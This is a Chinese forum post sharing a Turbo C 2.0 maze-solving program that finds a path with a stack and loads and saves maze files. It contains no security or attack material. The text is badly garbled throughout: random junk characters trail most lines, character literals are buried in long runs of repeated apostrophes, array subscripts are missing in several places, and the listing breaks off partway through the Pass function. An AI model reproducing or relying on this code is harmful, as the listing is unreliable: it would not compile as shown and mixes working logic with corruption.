QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 7589|回复: 8
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left>4 w3 S5 [* Z* E' G
< align=left>程序目的:
' i9 ^0 a) D# b输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并' E" A' e' Z3 z( t! ^
显示在屏幕上。
: v- i9 H: E! g+ a程序实现:6 C4 {4 R  Q8 u; C
可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的& G, |' Q9 B+ J" e5 f
文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载
, f2 Z6 j8 j1 D2 {( F0 f% }4 P入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫
- d3 I0 _" ?% f- {时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。
3 j8 P0 A4 t" f  ^否则会出现错误信息。输入开始时全是墙,用上下左右键移动,1 P7 t$ Q% h+ D& f7 ~( v1 ?9 S
用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以
" K/ J9 z' r  W/ R: b将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,
) y1 n/ `; y" P$ q1 m% c找到路径时,屏幕下方会出现Path found,否则出现Path not found。
) A& ]) s' ?, s0 A程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
6 M  Q5 _+ M( l4 o& c4 Z不可以在VC上编译。" L* Q6 p9 k# B& Y8 Y2 y
下载DOS版和windows版的迷宫游戏全部代码
% I+ N6 P2 X6 n- p用户名:migong
/ ], b2 a3 e8 f9 u# u' R----------------------------------------------------------------------------------
$ d# `) o; u. y2 x# ]/ W/*
& _, N5 Z4 f  Q% x1 k! EMazePath Demo BY Turbo C 2.0
5 S/ X# J/ B& e# Y+ M. ~Copyright(c) RoverUnion. All right reserved.
: Q0 `0 b9 J" B" s3 ^, f: uFilename: Maze.c$ I$ V$ a% K; D0 t, Y
Author Dongchengyu.8 Q2 d  y, O% i- {9 l& a
Ver 1.104 H0 u# \, }# ]6 z
*/
9 z$ b% X! X$ v$ w; r9 Z* L6 Q8 {9 D#include &lt;stdio.h&gt;
* a! V7 G+ E) x, z- B#include &lt;stdlib.h&gt;
8 l# t" C/ h4 u#include &lt;malloc.h&gt;
# B  w- T2 k4 h#include &lt;conio.h&gt;1 M$ E6 j5 _) E
#include &lt;dos.h&gt;
0 E1 f" }; D$ \6 J#define OK 1' O* r$ ^4 y% \" x
#define ERROR 0; X( q' l! _' a% E- N
#define TRUE 10 C1 T" O0 A$ U$ P, S( n! z! R( j
#define FALSE 0# ~1 E; o9 H% v6 W5 Z2 e$ ]
#define F9 0x43. q1 F, p, q8 F% ]2 G
#define Esc 0x1b* b3 T8 Y- n* V2 k1 x4 W: T$ ]$ a
#define Del 0x53
7 P2 |: c3 ^5 g& k6 C#define Home 0x47# X8 y4 I5 ^5 K5 \5 @  O
#define End 0x4f
5 V) k5 r) d& ?' i2 h#define Space 0x20
. \0 i2 O: ]& @#define Up 0x48
  E8 e9 A1 m  I/ }$ G#define Down 0x50  {& q. q" ~& T- {/ q, ?0 N
#define Left 0x4b9 ?6 e6 J. h' i) B8 V
#define Right 0x4d
3 U2 x% p" _2 u  ?7 N#define Enter 0x0d
! f; w; m7 E6 z: h/ u! w* {#define F2 0x3c3 s" O% N- S+ e$ @
#define F3 0x3d
5 z5 L9 ^' b9 f#define STACK_INIT_SIZE 200& t- L6 s2 v' W( L2 c4 g
#define STACKINCREMENT 10$ C, z9 X- i" e7 o  V& U' O2 W
typedef int Boolean;' }% y' r4 `6 Z
typedef int Status;0 h$ U! P0 @! S; s; }9 P' R
typedef struct {4 Y: D+ D' r& H/ C+ A+ `$ H
int x;9 |5 w4 X" f. P/ I
int y;8 m6 W$ S* y( }/ t3 ^9 ]2 [; F3 h
} PosType;
" N: p1 a3 H; B. u+ Z! dtypedef struct {
% c" F0 X* _( v+ J9 f5 ^( zint ord;% M* h3 w% @8 B7 k' F: H
PosType seat;) l% z( p: @- @9 O8 p. _& S# f
int di;
/ b  \  R' h" e9 {, C} SElemType;
0 b" e+ v4 h, T$ k7 l! |) U5 O- ^typedef struct {- c, C8 }9 `5 c6 i% N
int td;
6 v" f) k& ]. x4 p, ^" Aint foot;! ]. Q2 A$ F( W/ v3 W5 e" [
int mark;( {0 n$ L# I/ Z# E" u
} MazeType;
& X6 ~3 \  a( y2 P( O5 C' `& {typedef struct {
  J! y  X- R- O1 \SElemType *base;
- b# G9 A) h( C0 W1 Z5 t( TSElemType *top;
. ]# |# [& I& A9 e* l- iint stacksize;4 u( ]  I9 |# V) m# F: {, E( o; l
} Stack;) k4 Q; j$ Q2 c$ `# [5 p6 {$ \  G0 e
int Maze[20][30];) x  U6 h) a' t. i/ H/ p
MazeType maze[20][30];
2 Y3 k6 p9 Q8 ?- B8 Z4 dPosType StartPlace;# w8 z* Y9 C" G# i2 N3 `5 c% E  e, {
PosType EndPlace;, @6 t; i) V" B) e
int count;
8 k- W' e8 R8 @9 H  Tint m,n;
4 M( a2 s1 H: SBoolean b_start=FALSE,b_end=FALSE;
+ I$ k1 ~" I; j  q& p! K$ t, uvoid CreatMaze(void);
4 I, U& B! ?) O* h4 P2 u  UStatus SaveMaze(char *filename);* L* X: d, ^! _
Status LoadMaze(char *filename);* O: G+ a+ h0 j) a2 s1 u& \5 s
void Error(char *message);4 X; p) S/ X% ]& K. F+ V2 i% V
Status InitStack(Stack *s);
$ Q- b6 G" ]1 f# G  kStatus DestroyStack(Stack *s);
3 a, f5 k: z1 R8 `Status ClearStack(Stack *s);
. p9 I2 E9 L9 E! S' q3 P. sBoolean StackEmpty(Stack *s);
+ y9 r+ [# `0 U! o9 tint StackLength(Stack *s);" T; [8 c% S# z0 L3 U/ Y
Status Push(Stack *s,SElemType e);
9 }& d) G, t: _0 s  o! N/ i3 FSElemType Pop(Stack *s,SElemType e);) Y8 R& U# C* M
Status GetTop(Stack *s,SElemType *e);+ k8 R3 L7 U) K5 g5 V
Status StackTraverse(Stack *s,Status (* visit)(SElemType *se));. K  y. f) |8 s+ Y6 C3 n
Boolean Pass(PosType curpos);& X( I! k/ T/ o: C9 h$ O. j
void MarkPrint(PosType seat);
. a7 U) f/ B. o+ i! ]8 i% tvoid FootPrint(PosType curpos);/ q" f; k7 ^0 F6 d
PosType NextPos(PosType seat,int di);8 J3 z$ u4 ~9 l
Status MazePath(PosType start,PosType end);7 @2 k4 ~8 h8 {/ j* F. f6 x6 p
void CreatMaze(void)
9 w% K$ \$ }! r9 A7 t/* Form the maze. */
6 z- V6 U! m8 k: U3 A5 P{
$ |) w2 |) u9 ~9 i! K: V  Ovoid Error(char *message);
, @  ^0 J8 @3 H3 F2 [9 u2 ~) HStatus SaveMaze(char *filename);
& ^" P; o+ [9 R+ R. R4 fStatus LoadMaze(char *filename);% R4 F; J0 l9 V. y% ?5 D1 q
int i,j;
2 h! @0 `+ x' h2 R7 O! d8 a3 ^int x,y;7 ]8 W- z( d& [  S
char c;3 v8 V) j1 {; _/ r" }
char savename[12],loadname[12];
9 d# W2 E- F- W& Y- ]' U) W" nBoolean flag=FALSE,load=FALSE;
- F1 M' o( e4 a/ pclrscr();" f% I8 y  B/ a8 a3 b7 x
printf("Menu:\n\n");
6 P$ ]0 C- [' Z$ G, yprintf("1.Load Mazefile*.dd)\n\n");
: r. v' I! x7 Y! W& Q. dprintf("2.Input Maze:\n\n");
/ [* v! p: Y) I& {  q: H; q  ~" Mprintf("Input your choice: ");- J- d! v! v0 q, ?$ |1 i  X5 f& k5 j
do
4 n0 e* o: ]8 Z; B# v% N{5 D$ \$ v5 s' u$ `
c=getch();1 p9 T: E  a8 }, ~
switch(c)7 ]8 ?8 L9 l* A& i7 Q
{
. I: C# ^9 T* c9 n) g, q4 Ucase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
- z7 d3 L  D( u1 [: Y" D. }0 Zcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;  }; B3 a3 d& i7 U& T8 ^
case Esc: sleep(1); exit(1);% X2 n9 g. T: }# e! W$ {
default: break;# Y/ ?% d/ F2 j7 U6 Q
}# k3 Y' P' _, W0 k8 a
}
2 Q# r) y( ~/ G' }7 m/ gwhile(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;
8 l+ e0 V& D1 x: iif(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')* ]1 Q1 G2 Y0 k, L. M) D
{
0 U- Y& F) W- N- q6 s6 Vprintf("\n\nLoadName: ");
1 N/ f. N4 s+ Q! pscanf("%s",loadname);- M* G- l: C' p: Y0 B
if(LoadMaze(loadname))
* k) |& K- ~" v{
% w) J4 @9 J+ ?sleep(1); load=TRUE;
6 }* |: J9 m5 W$ P}
' s7 ~# ?, {" E3 B0 U; xelse { gotoxy(1,9); printf("Load fail! "); }
% a) K- [/ m* `( M; m. b  k}# K+ Q  a3 N# V" U1 ?/ }
if(!load)3 e( |) J0 |6 o' m, Q# f% W3 M3 K
{
% v  `3 D: N3 D: p4 ^$ i( t1 z1 [printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");" l% I  [, K, L. I" W! d; x
printf("\nInput Length :\n");
- `% Y) X4 I: `scanf("%d",&amp;m);% k) T" c' u0 q, T7 a/ m
printf("\nInput Width :\n");! {  \9 p" r" F
scanf("%d",&amp;n);
9 d$ O0 O1 |1 A  L8 k7 i1 y" }if(m&lt;4||n&lt;4) Error("Input");
3 @1 |6 Z" |1 J5 h" zif(m&gt;30||n&gt;20) Error("Maze too large");3 {# W% W$ O) o: C  m( F
for(i=0;i&lt;30;i++)
- [  [2 t' x/ `8 i* {+ G' \3 ]for(j=0;j&lt;20;j++)
6 @6 S' e1 t- r$ }Maze[j]=2;
5 P8 a. P1 N& CStartPlace.x=0;
; j( M0 |$ f3 d/ {) t, D0 m9 LStartPlace.y=0;
% h, Q( _7 \* y  ~EndPlace.x=0;2 K( X. q  ], x% }3 Y" \, ]- j
EndPlace.y=0;, i) @  V9 M  ]1 G3 G/ X
clrscr();
4 A# Z+ U# k0 t. L( F' C! Vprintf("\n");
+ D# D' U! k1 e# P1 X% V) Z  N6 afor(i=1;i&lt;=n;i++)
/ D) k$ K2 d# u/ P4 a* u0 F{
& D+ q/ o: q4 W% Lfor(j=1;j&lt;=m;j++)
0 c, C! t2 Y* h% ?: K{
' u4 ~" D: k: I5 ~! w- |printf(" #");
! H# e% V, k9 T% i/ v% K# rMaze[i-1][j-1]=0;: X! P0 E  `/ ~9 y% g5 H$ J4 j
}* A$ o/ A  v4 _2 @2 g
printf("\n");% o5 J0 a' l2 t" a( |* s
}1 g+ O$ ?6 X" q' c6 H( |5 L
}
) H8 f2 E7 {' A$ W! K1 Fgotoxy(65,5);
2 t0 m/ I4 A" g6 Y$ Qprintf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");
- ?8 V$ c  C& Z0 lgotoxy(65,7);
6 ^- B2 y+ q. b5 n  X; dprintf("Start:Home");: N. m& k: R% R5 I
gotoxy(65,9);
: n6 g0 z& k. _- U) aprintf("End:End");
8 B7 r2 c+ n  agotoxy(65,11);
$ p/ P: u& U1 L2 n# F4 Lprintf("Delete Wallel");) F+ V) E; a/ ?, t/ ^! ~. k
gotoxy(65,13);
4 R; u3 i1 y5 g& W) Dprintf("Enter Wall:Enter");
  P% Y% ^3 p# m- Wgotoxy(65,15);
* M/ s, v  a6 c% T1 o9 Aprintf("Save Maze:F2");
, e" |- E1 f, H1 Cgotoxy(65,17);) R: i( [8 m' I! x# z& Z1 H3 d
printf("Complete:F9");; b) t+ R. J/ l! d$ M4 m
gotoxy(65,19);
! w( Z( a9 E, r) p! a+ m  H$ nprintf("Exit:Esc");9 ]0 j/ _" y7 R' d
gotoxy(4,3);4 o9 o# ?$ p- b3 ?- e; S
x=4;y=3;/ w' z5 X* e0 ~2 ?) w+ i- u6 R
do( y- x9 g+ e, {; H3 j4 n7 @, D, u
{
' D5 t' \9 Y/ \6 W6 \c=getch();
2 `: S9 X, H: E( V/ Q; m% s" K3 sswitch(c)" B) k% X# h$ Z1 B- }- |2 a$ V2 {7 n
{# {( o, Y' `4 ^& k- D. J
case Up: if(y&gt;3) { y--; gotoxy(x,y); }
4 H) N0 d6 U2 M' Sbreak;; G  S9 M* _' l+ ]+ w/ {( A' F* [6 K- t
case Down: if(y&lt;n) { y++; gotoxy(x,y); }/ r) Y7 P, i# }& Q# ]
break;
5 d- v. k8 c, N' S. g* J. R  w: Ncase Left: if(x&gt;4) { x-=2; gotoxy(x,y); }* T8 U3 V, o% N- w; M  F8 E! k
break;( d4 u7 ]' C" e
case Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }0 }) M4 G2 L' W, q" n
break;' q) ]' g" c( c, n+ B
case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;# x# s1 K- p) q+ @# h
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;8 k* ?- M: i0 N  ^
putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
; H1 _9 k3 I/ w$ r0 q0 S4 g% r3 xbreak;
. ]  L" d) u4 {, I/ [! c9 l. {+ ~case Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;* H5 b8 A7 _& v3 o% O: e6 L2 o
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;1 Y2 o1 L/ Q' I( u; q6 M
putch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);% e/ m& B7 Q( F
break;5 u& ?2 E8 a0 l! {5 F4 ~
case Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)" @2 V% A6 C' |
{3 J# K' H4 m. u- a" \' i3 g; x" _
StartPlace.x=x/2-1;
. B, H* q% Y7 r. E& qStartPlace.y=y-2;! @0 a" B/ ?7 C/ h2 k
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
1 h2 b% A4 M4 p: D5 I% H2 x# Rgotoxy(x,y);
& T3 D6 l- r' m3 q% ]# Zb_start=TRUE;4 u% ~8 Y3 Z* J; P
}) K# l$ e7 y( V9 T- m
break;* w' c2 s- H' E$ c
case End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)
: U& a2 D2 t" I; A; ]. o3 b{" a5 F' ~( n% x$ _/ I
EndPlace.x=x/2-1;- t: P8 u; g3 p
EndPlace.y=y-2;
5 Z! Z% v4 K& Y. `) V' f- ^+ `, ?putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
/ l$ p" z- e; E* [* Ygotoxy(x,y);
+ Y9 J/ J# T3 A8 |, p5 L( Qb_end=TRUE;
4 J; Q" z$ O$ r+ Y9 {}/ }  O, L4 y0 a( g) r! a% Q
break;0 a2 v; h8 V5 O6 u' }, l
case Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
8 Q) o8 q' ]! a1 G3 O% mcase F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;# `1 R0 r: B  d) y4 x, j+ X
case F2: gotoxy(2,22);
+ l# o. X/ P5 v" ~# Pprintf("Savename:");
. q- P6 `" J8 O2 R8 x0 O* l6 b8 Fscanf("%s",savename);0 G% c" B, f5 i7 a# T
gotoxy(2,22);$ [) H% d" _4 g; i1 s3 j' V1 |
if(SaveMaze(savename)) printf("Save OK! ");8 i0 N3 C/ A; z9 b+ Z- A7 Z
else printf("Save fail! ");
. F: Y( T& c1 Z$ gsleep(1);& [% ~# |! r" T* k5 {
gotoxy(2,22);' y- Y7 j0 R" D) R. W
printf(" ");- H) G0 q# ?  Q3 ?# B! r$ j# G
gotoxy(x,y);" c; \# `" H/ D* c- W* N
break;9 u, p/ e8 Y" T# W  r. L) b% g  R0 v3 `
default: break;
8 ^! {9 t; s6 ^- R8 W+ e}
0 j' t' [  S$ u0 w}
, o9 k1 m' g% }5 v( G1 e- }while(!flag);
* b+ G9 v; {: q6 j, p; Ufor(i=0;i&lt;30;i++)- I/ o* o  a2 m# G& |2 ~) h4 o
for(j=0;j&lt;20;j++)
, ^; `9 |+ c# }. s( c{# s! e7 g& P3 z4 `6 k5 N$ t: V; f
maze[j].td=Maze[j];6 v1 U  {  g2 g: }! T0 s) G
maze[j].mark=0;) \: T2 H$ m. }0 @# J2 V$ X
maze[j].foot=0;
/ o! s. U1 }2 W' t1 ]}
$ h5 z* V8 d4 @$ O. A}0 N' H% ^$ x4 b
Status LoadMaze(char *file)1 o6 [" |) t9 o4 X" ]
/* The maze has been loaded. */
' d5 H* D$ J+ o6 i; a* u{4 q0 G9 ?% u; A' M3 s, V
FILE *fp;6 s% {& o5 z  h) N/ d
char *buffer;
4 S4 [) h* U! U$ P3 c: |1 }$ V, Ichar ch;
6 {7 N9 a* w$ f; J6 J1 ?int i=0,j,k;7 ^, k* F6 K5 |, r* m' v: a
Boolean len=FALSE,wid=FALSE;0 \4 z6 W& I/ b. D
if((fp=fopen(file,"r"))==NULL)
3 w7 a, G6 t3 G4 Treturn ERROR;
. u4 u$ J, P8 ]/ _" @buffer=(char *)malloc(600*sizeof(char));
& m( T0 \5 L$ Z5 b% ^ch=fgetc(fp);
: z+ F& x6 }5 ~while(ch!=EOF)3 a, m! [1 ~' M# K
{
% m: Y4 T, M% Wbuffer=ch;
, N2 I2 Z9 X2 z! ]# S8 `5 H, C9 ^, li++;
/ U* j5 H4 w- c7 Xch=fgetc(fp);
3 ]$ n( ^& n' X}: V7 k! x( s- e
m=30;n=20;
) E+ o  n8 g+ @; ufor(i=0;i&lt;600;i++)
0 s* d/ e0 `; r8 u  r1 K* K{
! c' A( ^7 M. l1 W& \3 T5 Y, `j=i/30; k=i%30;2 m6 T3 y9 j& e  [
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }- w* p- [( O$ b
if(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }
6 F; T2 N9 {5 Z  |$ P( lswitch(buffer)
8 Z, _9 V" A& i( [& Y{
) m. T  ]9 G# z! f+ Ucase ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;9 `* J: x5 v% J. ?9 E- q
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;
& P# N# ]3 G* q, Hcase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;3 h+ m& W  F$ @; ]4 c4 B
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;
# N. _& O" G& z& s. iStartPlace.x=k;  a0 o) a& D8 O. |: i' S
StartPlace.y=j;  A1 G: ?: B- t+ z* c% |
b_start=TRUE;
! j) B1 I4 v- Z0 O7 e* Pbreak;
0 o. m# u; C8 U. A8 L' V' ]case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;3 g- H# f. E7 T; X5 C% i
EndPlace.x=k;
2 M$ P0 q  l8 p: S* f+ Y7 J* sEndPlace.y=j;; p3 x; d) i: M: W8 E3 c. V7 `; y
b_end=TRUE;
  ^2 B" p& V; g' ebreak;& _; A$ B' ^+ N2 G' k3 D
default : break;  p; x' C6 H% H( ?% [
}
1 N4 W! d/ a! i; ~}
" G# t, k; L  |fclose(fp);" a3 j% n; h+ v) q$ q' P
clrscr();
" {% @) p% Q7 r- @1 g$ v/ |) ^( wfor(i=0;i&lt;30;i++)* n" _3 `# F/ n
for(j=0;j&lt;20;j++)* Q0 a3 G! \% t. r; v% a' t7 }
{
! Q5 C( y* K4 i+ smaze[j].td=Maze[j];; q, X9 Z9 |: K: }8 f1 n4 `" J
maze[j].foot=0;
" G: x/ F3 Z8 L$ _: }& M/ ?1 Omaze[j].mark=0;* w) W- L7 B2 T1 Y/ X/ d
if(Maze[j]==0)
8 U' j& w7 p) ?: Y& _. Q{3 C7 k, c" [4 u# m
gotoxy(2*i+2,j+2);
  a. v( P3 S6 [! G  ~putch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
( I# I# ^2 D; v7 c9 E) v) @}
9 F. q% t1 I! a( P}
9 u3 O2 @# e+ B; egotoxy(2*StartPlace.x+2,StartPlace.y+2);
, U/ g- V# _1 N7 k0 nputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');( e- ~) v$ T1 U( ^+ U" x- Z" x
gotoxy(2*EndPlace.x+2,EndPlace.y+2);0 d& O. c- |# A! O$ v% W
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
: w0 Z  ]  v# f3 w7 j* \$ [1 Areturn OK;
% r+ S* H3 x  b3 ]2 P! m0 S}
* ~) n4 R5 ^9 Z5 B+ H8 y- KStatus SaveMaze(char *filename)4 r. G- ~% \: X& \
/* The maze has been saved. */
$ s0 N- C0 ?( ]7 V( v1 X, B: g{
; D% H0 n+ H9 z3 q6 u5 ?FILE *fp;; t0 v4 Q  D7 e; A9 F
char *buffer;, ]4 X/ G# |% d% X2 Q
int i,j,k;
" q4 l9 J! h- U' Rfp=fopen(filename,"wb");7 H/ H- m  n% l, o( S
buffer=(char *)malloc(600*sizeof(char));4 v. ]& E- R2 I  G, _  p
for(i=0;i&lt;600;i++)& i2 f# }& W8 C0 W1 D# `8 w
{
& N+ R* y/ G7 V" Xj=i/30; k=i%30;
5 t  C0 Z) i# `0 d# A) {# Oswitch(Maze[j][k])+ P+ O# h8 B& L/ K
{
4 Z9 q" R7 v7 n: ]( |% _3 F" p# {case 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;$ @7 G* U$ S4 ~0 l$ t+ S! \) V- D
case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;5 Q, ]2 I0 h, O2 J. W) {8 P
case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;7 ~' h3 z! [% n, k; v
default : Error("Write"); break;) C0 t/ h  s! g) Z- N# R5 v6 r
}
1 d3 f# l( [/ E! g; c2 {if(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
0 h8 x5 S4 B. G0 o5 d/ iif(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';4 h- h9 Z, Y4 `) C
}& W* K* g+ w  F! \5 h3 f1 B6 ~
fwrite(buffer,600,1,fp);) }- i5 u9 U9 }* k+ I
free(buffer);3 ^: j/ g: ]2 O9 J
fclose(fp);
# u) b' Y% v, l7 h- `2 K3 Preturn OK;0 q( L' A3 e# q, p' Q
}- o' S3 t' w* t7 e, z- @% _8 T
void Error(char *message)1 Y* e6 J& {" C/ X# Y: c/ a' ]
{
/ b9 k3 L. K* a* ]7 w7 |clrscr();
* \. b: l1 e; J! R! Yfprintf(stderr,"Error:%s\n",message);
, T+ W' V; e! k; N" y4 xexit(1);
+ u: W" ?' p/ b: W8 s1 `} /* Error */
; Q/ h5 A/ F* ]2 f( z$ w9 f4 b5 q  w; j( s
Status InitStack(Stack *s)
! I8 d# Q$ W' z9 }8 N: z1 I/* The stack s has been created and is initialized to be empty. */0 T1 T5 T  S* h. O) V5 \' O0 M
{; [. z/ b! w* M
s-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));! ~* R7 F- V/ a, C# t4 u
if(!s-&gt;base) Error("Overflow");) U% l! x$ }, `% z
s-&gt;top=s-&gt;base;* l! z3 T2 `& A+ z! w
s-&gt;stacksize=STACK_INIT_SIZE;
: Z; F/ F( G% z6 |' Dreturn OK;, t  |! k2 K# Z; v( ~0 G
} /* InitStack */- E4 \" Q+ c/ {9 M
Status DestroyStack(Stack *s)
2 U$ d. z( S- U# I) \, c/* The stack s has been destroyed. */
4 w) t- v$ ~  e7 V8 J# e9 @5 t& p% R{! v: t( s: k7 m' d' ~5 i$ |& `
s-&gt;top=NULL;
$ J! \6 j3 r3 R/ P. c* Ss-&gt;stacksize=0;
3 B9 T. x0 e/ E: b: X- F; q) `free(s-&gt;base);! X5 y  M: L! g. b9 o
s-&gt;base=NULL;
5 o5 |7 w/ }. w6 j9 S& `4 Breturn OK;
4 {" {+ @& T. \( A5 r9 y. @$ S2 A& M6 p0 B} /* DestroyStack */1 z- V$ a1 i8 V$ z6 v. X6 j" X
Status ClearStack(Stack *s)
8 g4 k% [# h  Z; v# T/* The stack has been clear to be maximum. */
0 k! n$ F" a* }8 k{1 t; g  [8 `5 V7 a) X
s-&gt;top=s-&gt;base;" [5 |' B5 O8 Y1 e" L1 g' [
s-&gt;stacksize=STACK_INIT_SIZE;
' N8 T7 b* x1 w; ?- n! [* ureturn OK;
& H2 u4 x6 W: [& H8 s" o# I8 \2 P1 [} /* ClearStack */
0 |! }' l% X% v! j* j- \! M# N9 LBoolean StackEmpty(Stack *s)# O' D5 p) F( G
/* Check if the stack s is empty. */% O2 Y& d0 o/ B# O1 K8 d
{; l6 M2 t6 @1 p) S5 V
if(s-&gt;top==s-&gt;base) return TRUE;
( I7 u' D% h. `2 y- Selse return FALSE;
& B2 }8 v1 Q6 y3 O5 E$ C/ J; P} /* StackEmpty */
+ y. I" n3 p, J! L+ eint StackLength(Stack *s)
* y6 d0 g5 E5 N# G$ R8 ~9 `/* Gain the length of the stack s. */
1 j& ]; f. |0 Q, |" Y{
% B) p  W2 ]/ \/ h0 M2 P4 Z4 zif(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);+ Y4 }& [, _* s
else return 0;
0 h% G5 f0 ~# l/ Y} /* StackLength */
  o( I. T& \( w3 `  m8 ^Status Push(Stack *s,SElemType e)" F& C, _+ H0 e! Q
/* The element e has been pushed into the stack s. */! @- d0 e9 ]9 X9 U" |, o
{$ ]- ?: W  L; {9 }0 \3 R# z, _$ U# m
if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
8 d2 J* A3 `+ [- ]{! x0 @$ K0 b1 E; o
s-&gt;base=(SElemType *)realloc(s-&gt;base,1 l8 b' s1 F5 w" C6 e, ?: J, n8 Y5 s
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));# |' ?  j- a$ D8 B' x. U5 S
if(!s-&gt;base) Error("Overflow");
5 j! Q& i( V' ]  Js-&gt;top=s-&gt;base+s-&gt;stacksize;& t4 k2 `# Y, G; R
s-&gt;stacksize+=STACKINCREMENT;
* H" O- t3 \0 z# A& Y; S}' t: K) ]* ^. t9 [  H. K) w
*s-&gt;top++=e;, T! I, ~) k- `' u1 {* o
return OK;0 S" [9 T8 g- W- C
} /* Push */
1 T8 |( T9 q% h% |5 s6 fSElemType Pop(Stack *s,SElemType e)
" I' E4 a2 d% a$ V1 z7 U$ T/* The element e has been removed from the stack s. */1 r! q) v* r4 }3 p
{! @4 n! X7 W+ T# E: r) D$ |
if(s-&gt;top==s-&gt;base) Error("op");
) b/ R1 e; S0 [; ee=*--s-&gt;top;
& q! a8 E, e) M% X4 Y$ s7 Nreturn e;
; i" D- [: |3 Z7 W& K' @# `- o} /* Pop */
7 d$ u. M- u3 v3 p4 a8 ^% l8 IStatus GetTop(Stack *s,SElemType *e)  U1 d, T, M, v4 U
/* The element e has got to the top of the stack s.*/  G4 J& f6 S. J' |- ^- @! h: j
{$ g8 S; Z7 Z, p; Y" G0 F, V
if(s-&gt;top==s-&gt;base) Error("GetTop");8 Q! R5 h! F3 k/ y( q9 o# S
*e=*(s-&gt;top-1);' m+ \8 x5 g9 y) J
return OK;5 ^3 O* _, j& s4 _  _  N
} /* GetTop */
6 T% [* w$ {' D$ g/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */9 b" ?% f4 z7 c
/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))
5 c5 V) N! K! |{) L# T6 e% O6 R+ z$ f1 f3 Z6 ?; F( I! _
SElemType p;
8 G, B; A, S0 D2 Bint result;
) y4 Z# J1 g9 Uif(s-&gt;top==s-&gt;base) return ERROR;0 J8 T/ u* ]: [6 O5 w; v# p
p=s-&gt;base;
6 |9 I0 P2 q& mwhile(!(p==s-&gt;top))
( T( P& }2 `* q" y. z, U{
' L% w5 r$ R1 d. C5 n  Y: Q6 bresult=(*visit)(p);
# v! }- o( F& W7 |3 X# U6 Ip++;2 f4 g, B  D( d! I
}9 A0 e" G) ^. y
return OK;, P  G+ G, e1 w3 |* `
} */
% t5 l/ s! [- l6 u4 aBoolean Pass(PosType curpos)
! v4 L; P" v+ V" i/* Check if the current position can be passed. */
2 F/ T2 S8 c: K# l  V, [$ G% z6 X{
8 S: o  o+ ^. f7 Cif(maze[curpos.x][curpos.y].td==1&amp;&amp;/ A2 X; J5 Z2 Q$ m% b. @! W" M
maze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0). h& X$ f' w* S
